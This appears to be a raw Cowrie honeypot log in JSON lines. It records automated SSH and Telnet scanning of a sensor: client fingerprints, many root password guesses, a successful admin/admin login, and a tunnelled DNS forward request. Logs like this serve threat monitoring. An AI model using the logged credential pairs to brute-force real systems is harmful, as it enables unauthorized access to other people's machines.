{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:50.988793Z","src_ip":"87.251.64.176","session":"1c9e9babcb35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:51.084348Z","src_ip":"87.251.64.176","session":"1c9e9babcb35","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:51.377384Z","src_ip":"87.251.64.176","session":"1c9e9babcb35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:51.422612Z","src_ip":"181.47.9.103","session":"ec9e1c65cd35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:51.475982Z","session":"1c9e9babcb35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:51.573445Z","src_ip":"87.251.64.176","session":"1c9e9babcb35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:38:51.670781Z","src_ip":"87.251.64.176","session":"1c9e9babcb35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":41580,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c53410da465","protocol":"telnet","message":"New connection: 186.195.16.41:41580 (159.203.135.109:23) [session: 1c53410da465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:08.236822Z"}
{"eventid":"cowrie.session.closed","duration":3.6421427726745605,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:11.878829Z","src_ip":"186.195.16.41","session":"1c53410da465","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":41214,"dst_ip":"159.203.135.109","dst_port":22,"session":"0df1921763b1","protocol":"ssh","message":"New connection: 147.45.197.250:41214 (159.203.135.109:22) [session: 0df1921763b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:14.314043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:14.323530Z","src_ip":"147.45.197.250","session":"0df1921763b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:14.431647Z","src_ip":"147.45.197.250","session":"0df1921763b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135246","message":"login attempt [root/135246] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:14.701654Z","src_ip":"147.45.197.250","session":"0df1921763b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:15.796994Z","src_ip":"147.45.197.250","session":"0df1921763b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.58.153.125","src_port":33436,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8882c543769","protocol":"telnet","message":"New connection: 193.58.153.125:33436 (159.203.135.109:23) [session: f8882c543769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:17.105262Z"}
{"eventid":"cowrie.session.closed","duration":49.86248469352722,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:22.810306Z","src_ip":"192.119.13.58","session":"b229bb870e59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":41372,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b7a4b96b9b4","protocol":"ssh","message":"New connection: 184.94.212.80:41372 (159.203.135.109:22) [session: 7b7a4b96b9b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:23.170884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:23.175403Z","src_ip":"184.94.212.80","session":"7b7a4b96b9b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:23.239285Z","src_ip":"184.94.212.80","session":"7b7a4b96b9b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54544,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1b11e404fd5","protocol":"telnet","message":"New connection: 192.119.13.58:54544 (10.17.0.5:23) [session: c1b11e404fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:23.346381Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"!%&(_|","message":"login attempt [root/!%&(_|] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:23.525391Z","src_ip":"184.94.212.80","session":"7b7a4b96b9b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:24.592903Z","src_ip":"184.94.212.80","session":"7b7a4b96b9b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":56600,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab9a88271c7a","protocol":"ssh","message":"New connection: 43.134.27.11:56600 (159.203.135.109:22) [session: ab9a88271c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:25.576197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:25.581841Z","src_ip":"43.134.27.11","session":"ab9a88271c7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:25.819410Z","src_ip":"43.134.27.11","session":"ab9a88271c7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maldini3","message":"login attempt [root/maldini3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:26.800904Z","src_ip":"43.134.27.11","session":"ab9a88271c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:28.041558Z","src_ip":"43.134.27.11","session":"ab9a88271c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:29.303554Z","src_ip":"101.126.22.12","session":"9c1845a71fb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.740358591079712,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:29.845503Z","src_ip":"193.58.153.125","session":"f8882c543769","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":56800,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6484792096c","protocol":"ssh","message":"New connection: 103.219.170.37:56800 (159.203.135.109:22) [session: c6484792096c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:36.664194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:36.674931Z","src_ip":"103.219.170.37","session":"c6484792096c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:36.749345Z","src_ip":"103.219.170.37","session":"c6484792096c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Demo1234","message":"login attempt [root/Demo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:36.971876Z","src_ip":"103.219.170.37","session":"c6484792096c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:38.052925Z","src_ip":"103.219.170.37","session":"c6484792096c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":35660,"dst_ip":"159.203.135.109","dst_port":22,"session":"48059b58d110","protocol":"ssh","message":"New connection: 152.32.150.26:35660 (159.203.135.109:22) [session: 48059b58d110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:44.147509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:44.151663Z","src_ip":"152.32.150.26","session":"48059b58d110","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:44.385233Z","src_ip":"152.32.150.26","session":"48059b58d110","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tom","message":"login attempt [root/tom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:44.416593Z","src_ip":"152.32.150.26","session":"48059b58d110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:45.430749Z","src_ip":"152.32.150.26","session":"48059b58d110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.253.239.21","src_port":59206,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c87ea3da5a4","protocol":"ssh","message":"New connection: 38.253.239.21:59206 (159.203.135.109:22) [session: 7c87ea3da5a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:58.326085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:58.330075Z","src_ip":"38.253.239.21","session":"7c87ea3da5a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:58.560403Z","src_ip":"38.253.239.21","session":"7c87ea3da5a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd!","message":"login attempt [root/Passw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:39:59.498882Z","src_ip":"38.253.239.21","session":"7c87ea3da5a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.0671660900116,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:00.413439Z","src_ip":"192.119.13.58","session":"c1b11e404fd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:00.728515Z","src_ip":"38.253.239.21","session":"7c87ea3da5a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":51706,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7f19e53eab6","protocol":"ssh","message":"New connection: 115.178.75.242:51706 (159.203.135.109:22) [session: a7f19e53eab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:12.894700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:12.899994Z","src_ip":"115.178.75.242","session":"a7f19e53eab6","protocol":"ssh"}
